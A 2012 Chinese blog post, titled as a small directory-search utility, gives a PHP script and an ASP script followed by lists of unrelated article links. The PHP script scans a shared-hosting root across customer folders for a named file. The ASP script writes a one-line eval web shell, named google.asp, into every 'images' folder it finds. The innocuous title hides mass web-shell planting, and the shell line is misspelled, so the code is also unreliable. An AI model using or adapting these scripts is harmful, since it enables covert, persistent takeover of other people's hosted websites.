php一个找二层目录的小东东


Posted in PHP onAugust 02, 2012

php版

<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
}

asp版
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", ",") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, ",", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%>
PHP 相关文章推荐
桌面中心(三)修改数据库
Oct 09 PHP
为查询结果建立向后/向前按钮
Oct 09 PHP
使用PHP数组实现无限分类,不使用数据库,不使用递归.
Dec 09 PHP
discuz 首页四格:最新话题+最新回复+热门话题+精华文章插件
Aug 19 PHP
PHP 函数学习简单小结
Jul 08 PHP
浅析php工厂模式
Nov 25 PHP
PHP浮点数精度问题汇总
May 13 PHP
php实现网站文件批量压缩下载功能
Oct 28 PHP
PHP微信分享开发详解
Jan 14 PHP
PHP简单实现模拟登陆功能示例
Sep 15 PHP
PHP addcslashes()函数讲解
Feb 03 PHP
PHP内部实现打乱字符串顺序函数str_shuffle的方法
Feb 14 PHP
PHP文章采集URL补全函数(FormatUrl)
Aug 02 #PHP
PHP服务器页面间跳转实现方法
Aug 02 #PHP
php中3des加密代码(完全与.net中的兼容)
Aug 02 #PHP
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
Aug 01 #PHP
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
Jul 31 #PHP
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 #PHP
php读取txt文件组成SQL并插入数据库的代码(原创自Zjmainstay)
Jul 31 #PHP
You might like
phpfans留言版用到的install.php
2007/01/04 PHP
Laravel 5.0 发布 新版本特性详解
2015/02/10 PHP
PHP关联数组实现根据元素值删除元素的方法
2015/06/26 PHP
Extjs优化(二)Form表单提交通用实现
2013/04/15 Javascript
Javascript计算两个marker之间的距离(Google Map V3)
2013/04/26 Javascript
jQuery的图片滑块焦点图插件整理推荐
2014/12/07 Javascript
jquery实现ajax加载超时提示的方法
2016/07/23 Javascript
分享一个原生的JavaScript拖动方法
2016/09/25 Javascript
laydate.js日期时间选择插件
2017/01/04 Javascript
JavaScript高阶函数_动力节点Java学院整理
2017/06/28 Javascript
基于jquery的on和click的区别详解
2018/01/15 jQuery
浅谈JavaScript 代码整洁之道
2018/10/23 Javascript
mpvue小程序循环动画开启暂停的实现方法
2019/05/15 Javascript
Python的函数嵌套的使用方法
2014/01/24 Python
Python的SimpleHTTPServer模块用处及使用方法简介
2018/01/22 Python
一文带你了解Python中的字符串是什么
2018/11/20 Python
实例讲解Python中浮点型的基本内容
2019/02/11 Python
Python之时间和日期使用小结
2019/02/14 Python
python issubclass 和 isinstance函数
2019/07/25 Python
python plotly画柱状图代码实例
2019/12/13 Python
Python ORM编程基础示例
2020/02/02 Python
使用keras时input_shape的维度表示问题说明
2020/06/29 Python
Python+OpenCV图像处理——实现轮廓发现
2020/10/23 Python
python中@property的作用和getter setter的解释
2020/12/22 Python
如何在vscode中安装python库的方法步骤
2021/01/06 Python
HTML5 新标签全部总汇(推荐)
2016/06/13 HTML / CSS
伊利莎白雅顿官网:Elizabeth Arden
2016/10/10 全球购物
Debenhams爱尔兰:英国知名的百货公司
2017/01/02 全球购物
美国波西米亚风格精品店:South Moon Under
2019/10/26 全球购物
Shell如何接收变量输入
2016/08/06 面试题
教师试用期自我鉴定
2014/02/12 职场文书
营销总经理岗位职责范本
2014/09/02 职场文书
闪闪的红星观后感
2015/06/08 职场文书
小学开学典礼新闻稿
2015/07/17 职场文书
预防职务犯罪警示教育心得体会
2016/01/15 职场文书
解决Pytorch半精度浮点型网络训练的问题
2021/05/24 Python